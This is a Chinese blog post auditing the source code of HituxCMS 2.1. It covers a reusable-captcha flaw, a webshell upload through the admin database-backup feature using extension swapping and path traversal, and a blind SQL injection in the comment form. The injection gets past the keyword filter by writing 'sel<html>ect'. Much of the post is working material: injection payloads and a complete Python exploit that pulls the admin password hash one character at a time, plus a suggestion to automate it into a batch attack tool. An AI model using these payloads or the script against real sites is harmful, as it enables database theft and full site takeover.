海納企業網站管理系統HituxCms2.1代碼審計GETSHELL+注入

〇.前言

本文爲篤行平常工做記錄,這篇審計文章,也是在2014年國慶期間寫的,比較簡單。意在展示一個完整的開源CMS代碼手工審計的過程,從未發表過,三年過去了,回過頭看仍是優勢意義的,故此次發出來,一塊兒學習~。
經過本文你能夠獲取HituxCMS 2.1版本的漏洞發掘過程,getshell和sql注入。javascript

一.系統介紹

海納企業網站管理系統(HituxCMS)是海納網絡工做室(Hitux.com)專業爲企業建站而開發
的一款網站程序。該系統採用最簡單易用的 asp+access 進行搭建,擁有完善的網站先後臺,
並特別根據企業網站的特色開發出獨具特點的欄目和功能。 HituxCMS 是企業建站的絕佳選
擇!
系統三大特點:
一、全靜態:全站生成.html 靜態頁面。下降服務器壓力,加強百度收錄。
二、高優化:特別針對搜索引擎進行優化處理,讓客戶快速找到你。
三、 夠簡單:擁有完善後臺管理系統,全部內容都可在後臺進行更新。非專業人士也可
操做。html

二. 架構分析

2.1 系統目錄結構

系統核心目錄結構以下:前端

其中 AdminBeat 爲後臺目錄, 整站的管理功能模塊都在此目錄中完成, Data21923 是數
據庫存放目錄。這兩個目錄通常會更名作最基本的安全。
rss 和 search 是 直 接 暴 露 在 外 面 的 用 戶 可 以 直 接 調 用 的 功 能 , rss/index.asp
search/index.asp, RSS 訂閱和搜索。java

2.2 系統功能模塊

Inc 目錄爲基礎的通用包含模塊目錄,功能以下:python

文件名 功能
/x_to_html 後臺生成靜態模塊集合 後臺生成靜態模塊集合
Access.asp 權限驗證模塊
AntiAttack.asp 攻擊防護模塊
article_view.asp 文章閱讀計數器
comment.asp 留言模塊
conn.asp 數據庫鏈接模塊
Create.asp 建立文件夾模塊
GetCode.asp 驗證碼生成模塊
html_clear.asp Html 實體/XSS 過濾模塊
Md5.asp MD5 算法類
page_list.asp 分頁模塊
rand.asp 隨機數模塊
web_config.asp 站點基本配置讀取模塊

AdminBeat 目錄下功能繁多,就不一一列舉,且後臺在實戰中常常改變的。 就例舉經常使用敏感
功能。web

文件名 功能
/KEditor KindEditor 目錄,版本: 4.1.3
/PicUpload 圖片上傳模塊
/PicUpLoad2 圖片上傳模塊
Data_xxxx.asp 數據庫操做模塊
admin_login.asp 管理員登陸驗證模塊
upfile.asp upfile_photo.asp upload.inc 文件上傳

2.3 系統實體/表結構分析(只列核心重要的)

表名 做用
Article 文章
Category 文章分類
Web_admin 管理員信息表(密碼賬號權限)
Web_article_comment 文章評論
Web_models 模版主題
Web_settings 系統配置

其中Web_Admin 表結構以下算法

管理員密碼以 md5-16 形式存放於 password 字段。sql

2.4 系統缺省設置

缺省項目 做用
後臺目錄 /adminbeat 管理員登陸 系統最重要的
默認數據庫目錄/Data21293/NYIKUGY5434231.mdb 系統持久化文件敏感信息
默認管理員密碼賬號 admin/admin 登陸後臺用,擁有系統的最高權限

2.5 系統權限驗證機制解析

​ 本系統對於用戶純靜態,沒有動態的文件展現。只有rss.asp/serach.asp/comment.asp 交
互用,也沒有普通用戶的系統,全部的操做都在後臺進行。
​ 權限驗證整體來講作的還不錯,粗看沒有找到能越權操做的地方, 且驗證比較合理,狀
態採用 Session 機制保存,系統 Session 字段以下:shell

Session 做用
Session("log_name") 判斷是否登陸用
Session("getcode") 驗證碼記錄字段
Session("log_role") 管理員權限字段

​ 這裏引入的 Session 機制很是合理,充分避免了一些權限繞過的問題。
登陸會話產生 session數據庫

If Not (rs.bof Or rs.eof) Then
Session("log_name")=rs("username")
Session("log_role")=rs("class")
session.Timeout=1000

Admin_login.asp 登錄成功時記錄 Session

<%
'chk session
If Session("log_name")="" Then
response.redirect "login.asp"
%>
<%
End If
%>

Access.asp 對 Session 字段進行驗證。

<%
Session.Abandon()
Response.Redirect "login.asp"
%>

Loingout.asp 銷燬 Session

三.系統總體防護體系分析

3.1 用戶權限/越權操做防護

上文中 Session 機制引入,驗證模塊 Access.asp。在全部的後臺功能操做模塊均包含了
Access.asp。

因此越權操做基本不存在,權限字段彷佛也沒什麼用,只要是管理員能就能操做後臺。

3.2 SQL注入防護

主要有 2 個文件 inc/AntiAttack.aspAdminbeat/Inc/Functions.asp

Err_Message = 1 '處理方式: 1=提示信息,2=轉向頁面,3=先提示再轉向
Err_Web = "Err.Asp" '出錯時轉向的頁面
Query_Badword="'‖and‖select‖update‖chr‖delete‖%20from‖;‖insert‖mid‖master.‖set‖chr(37)‖=‖
script‖alert"
'在這部份定義 get 非法參數,使用"‖"號間隔
Form_Badword="select‖and‖set‖delete‖insert‖update‖=‖script‖alert" '在這部份定義 post 非法參數,使用"‖"
號間隔
'------定義部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 對 get query 值 的過濾.
if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"‖")
FOR EACH Query_form_name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_form_name)),Chk_badword(i))<>0 Then
Select Case Err_Message
報錯語句
if request.form<>"" then
Chk_badword=split(Form_Badword,"‖")
FOR EACH form_name2 IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(form_name2)),Chk_badword(i))<>0 Then
Select Case Err_Message
報錯語句

能夠發現本系統對 get 參數和 post 參數進行了基本過濾, 但顯然 post 參數過濾的關鍵詞很少, 且過濾方式是模式匹配,請求參數只要完整包含過濾詞中的其中一個則會出現
以下錯誤:

過濾一些 T-SQL 的關鍵詞,看似還算安全,此文件非函數封裝,只要包含了此文件都會起
到防護功能。
Adminbeat/Inc/Functions.asp 中, GetSafeStr 函數過濾引號分號。

Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function

這是個函數須要主動調用這個函數才能起到防護做用。

3.3 XSS防護

文件 inc/html_clear.asp
HTML 過濾就不具體分析了,下文具體漏洞挖掘中用到再分析。

四.漏洞挖掘和分析

4.1 驗證碼邏輯缺陷

以登陸爲例: AdminBeat/login.asp

<td ><input type="text" name="verifycode" class='verifycode' id="verifycode" size="16"
maxlength="5"/> <IMG style="CURSOR: pointer"
onclick="this.src=this.src+'?'" height=16 width=50 alt="驗證碼,看不清楚?請
點擊刷新驗證碼"
src="../inc/getcode.asp"></td>

​ 驗證碼經過/inc/getcode.asp 請求而且寫入 session,若是登陸失敗,則會返回到 login.asp頁面,可是刷新驗證碼是經過 HTML 腳本實現的,只要咱們請求一次驗證碼,在這個會話週期和 SESSION 週期裏,咱們只要不從新去請求/inc/getcode.asp 那麼驗證碼是不會變的!因而就能夠寫一個後臺管理員密碼爆破工具。

4.2 後臺 GetShell

​ 若是有了後臺權限那 GetShell 仍是很簡單的,這裏我沒有詳細挖掘上傳漏洞,就直接使
用數據庫備份功能[內容管理->數據管理->數據備份]。

​ 看備份代碼:

act=Request("act")
If act="save" Then
NewData=replace(LCase(request("NewData")),".asp",".mdb")
if NewData=request("OldData") then
response.Write "<script language='javascript'>alert('新的數據庫名稱不容許與原始數據庫名
稱重複! ');history.go(-1);</script>"
response.end
else
Set fso=CreateObject("Scripting.FileSystemObject")
filesource=server.MapPath(DataFolder&"/"&request("OldData"))
fileto=server.MapPath(DataFolder&"/"&NewData)
if fso.fileexists(filesource)

​ 能夠發現,簡單的把.asp 替換程.mdb,當時沒有考慮 asa, cer,aspx 也能執行的狀況。

其次備份文件路徑沒有作限制,能夠構造../1.cer 跳到根目錄,在咱們不知道數據庫目錄的狀況下能夠把文件備份到根目錄。那麼就能夠在數據庫中插入咱們的惡意語句或者上傳一個文件用備份方式修改後綴名獲取 WEBSHELL。

4.3 留言板SQL注入

​ 直接進入主題,留言板前端位於/ FeedBack/index.html

​ 後端代碼爲/inc/comment.asp

<!-- #include file="AntiAttack.asp" -->
<!-- #include file="conn.asp" -->
<!-- #include file="md5.asp" -->
<!-- #include file="html_clear.asp" -->
<!-- #include file="Create.asp" -->
<!-- #include file="x_to_html/Post_index_to_html.asp" -->
<%'判斷
if request("act")="add" then
article_id=request("id")
name1=trim(request.form("name"))
email1=trim(request.form("email"))
qq1=trim(request.form("qq"))
comment=trim(request.form("content"))
input_code=trim(request.form("verycode"))
url1=trim(request.form("homepage"))
image1=trim(request.form("img"))
if comment="" then
response.Write "<script language='javascript'>alert(' 請 輸 入 您 的 評 論 內 容 !
');history.go(-1)</script>"
else
if request("verycode")="" then
response.write "<script language=javascript>alert(' 您 輸 入 的 驗 證 碼 有 誤
^_^');history.go(-1);</script>"
Response.End
elseif session("getcode")="9999" then
session("getcode")=""
elseif session("getcode")="" then
response.write "<script language=javascript>alert(' 您 輸 入 的 驗 證 碼 有 誤
^_^');history.go(-1);</script>"
Response.End
elseif cstr(session("getcode"))<>cstr(trim(request("verycode"))) then
response.write "<script language=javascript>alert(' 您 輸 入 的 驗 證 碼 有 誤
^_^');history.go(-1);</script>"
Response.End
end if

​ 引入了防注入文件和 CSS 過濾文件看來比較安全,留言經過 POST 表單形式提交的,繼續看
代碼。

set rs=server.createobject("adodb.recordset")
sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"
rs.open(sql),cn,1,3
if not rs.eof then
response.Write "<script language='javascript'>alert('請不要重複發佈!
');history.go(-1)</script>"
else
rs.addnew
if article_id<>"" then
rs("article_id")=article_id
end if

​ 發表留言是,會對留言內容進行查庫判重複。

sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"

​ 這裏咱們能控制的是 comment 字段,再看上面 post 參數過濾代碼,沒有對引號之類的進行
過濾。

​ 提交數據

提示不要重複, 看來已經繞過了注入過濾。那麼構造一條查詢有結果集的語句,若是庫內沒有任何留言咱們能夠先留言一個( 爲了構造語句,使得查詢結果集有結果)。
咱們要構形成這樣

select * from web_article_comment where [content]='anything' or '1'='1'

​ 繼續提交數據

​ 提示被過濾了!

原來是 AntiAttack.asp 中過濾的 = 符號
那咱們改爲這樣,也能達到條件

select * from web_article_comment where [content]='anything' or '1'<'2'

符合咱們的預期,說明確實被帶入語句查詢了!看來注入點存在,那咱們讓條件不知足,應該會提示留言已經發布成功!

繼續再提交

select * from web_article_comment where [content]='anything' or '1'>'2'

結果以下:

注入存在!
前文提到過 web_admin 表中的管理員數據,那咱們來構造語句注入吧, 可是這個注入點是
不會把查詢結果回顯到前端,那麼只能僞盲注,爲何叫僞盲注呢,由於仍是有留言成功和
不成功的兩種狀態的。直接進入主題。 按位猜解。

select * from web_article_comment where [content]='anything'or '1'>'2' union select
id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,1,1)>'a'

根據返回結果來判斷密碼的某一位是不是一個值,又由於 md5-16 加密,那麼值的範圍確定
是屬於集合{ 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f }
那麼最壞狀況下猜解 16 x 16 次便可把密碼徹底解出來,咱們來驗證下。 默認密碼 MD5 是
「7a57a5a743894a0e」
那咱們提交

anything'or '1'>'2' union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin
where mid(password,1,1)<'8

應該返回留言重複。

提交

anything'or '1'>'2' union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin
where mid(password,1,1)< '7

應該返回留言發表成功。

哦對了,咱們引入了 select union 等被過濾的詞。那麼咱們來繞過過濾!
感謝過濾 XSS 模塊給個人幫助,見上文。

sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"

咱們來看看 nohtml 這個函數的實現,其中有代碼:

re.Pattern="(\<.[^\<]*\>)"
str=re.replace(str,"")
re.Pattern="(\<\/[^\<]*\>)"
str=re.replace(str,"")
re.Pattern="/(^[\\s]*)/g"
str=re.replace(str,"")

太棒了,咱們能夠把 select 改爲 sel<html>ect 這種, 在處理的時候直接繞過了注入監測,而後在查庫前經過 nohtml 函數把 sel<html>ect 又還原程了 select!太幸福,那麼分分鐘就能夠寫出了簡單的 exp,而後有了這個過 waf 也是簡單的,咱們能夠填充任意 html 元素!

def get( idx,key ):
s = "ly'or '1'>'2' union sel<html>ect id,2,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where
mid(password,%d,1)<'%c"%(idx,key)
#print s
httplib.HTTPConnection.debuglevel = 1
request = urllib2.Request( 'http://localhost/inc/comment.asp?act=add&id=' )
request.add_header("Accept", "text/html,*/*")
request.add_header("Connection", "Keep-Alive")
request.add_header("Cookie","ASPSESSIONIDASASARAR=IBEHGIGBOOHNEHLJPENBEJMM")
datax = {'name':'f','content': s,'verycode':'0663'}
print datax
datax = urllib.urlencode(datax)
try:
opener = urllib2.build_opener()
d = opener.open(request,data=datax, timeout=5).read()
d = d.decode("utf8").encode("gbk")
print d
if( d.find( "成功" ) != -1):
return 0
else:
return 1 #存在
except Exception, e:
return 0
def binarydriver( s,e,keys):
while s <= e:
m = (s+e)//2
print m
if get(keys[m])>0:
e = m - 1
elif e - s > 0:
s = m + 1
else:
return keys[m]
binarydriver(s,e,keys)
def check_jcfile(idx):
s = "/0123456789abcdefg"
l = 0
ll = 0
for i in range(0, 17):
l = get(idx,s[i])
if ll == 0 and l == 1:
return s[i - 1]
ll = l
return '0

def main(argv):
md5 = "";
for i in range(1, 17):
md5 = md5 + check_jcfile( i )
print md5

EXP 沒有加優化,只是遍歷的,若是用二分法( ’0123456789abcdef’) 是有序的,能夠把枚
舉的複雜度下降到 log16。大大加快了 EXP 的速度,其次 EXP 能夠把驗證碼識別下,作到全自動批量工具,百度一下仍是效果不錯的。

最後 ending…若有不足請指點,亦可留言或聯繫 fobcrackgp@163.com.
本文爲篤行原創文章首發於大題小做,永久連接:海納企業網站管理系統HituxCms2.1代碼審計GETSHELL+注入

https://www.ifobnn.com/hituxcms0day.html
相關文章
相關標籤/搜索